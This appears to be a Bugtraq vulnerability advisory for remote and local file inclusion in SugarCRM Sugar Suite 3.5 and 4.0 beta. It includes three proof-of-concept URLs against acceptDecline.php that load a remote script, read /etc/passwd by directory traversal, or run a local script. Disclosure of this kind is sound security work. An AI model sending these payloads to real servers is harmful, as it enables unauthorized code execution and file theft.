SugarCRM Sugar Suite Remote and Local File Include Vulnerabilities

Bugtraq ID:	15760
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 07 2005 12:00AM
Updated:	Dec 07 2005 12:00AM
Credit:	Discovered by rgod.
Vulnerable:	SugarCRM Sugar Suite 4.0 beta SugarCRM Sugar Suite 3.5
Not Vulnerable:

SugarCRM Sugar Suite Remote and Local File Include Vulnerabilities

SugarCRM Sugar Suite is affected by remote and local file include vulnerabilities.

An attacker can supply the path to a remote script through a URI parameter, or use directory traversal sequences and a local script on the server to execute script code. This may facilitate unauthorized access.

Sugar Suite 4.0 beta and prior versions are vulnerable to these issues.

SugarCRM Sugar Suite Remote and Local File Include Vulnerabilities

The following proof of concept examples are available:

http://www.example.com/[path_to_sugar]/acceptDecline.php?beanFiles[1]=http://[remote_location]/index.html&beanList[1]=1&module=1

http://www.example.com/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../etc/passwd&beanList[1]=1&module=1

http://www.example.com/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../../script.php&beanList[1]=1&module=1

• /data/vulnerabilities/exploits/SugarSuite_poc

SugarCRM Sugar Suite Remote and Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

SugarCRM Sugar Suite Remote and Local File Include Vulnerabilities

References:

• Sugar Suite (SugarCRM)
  
• SugarSuite Open Source <= 4.0beta Remote code execution ([email protected])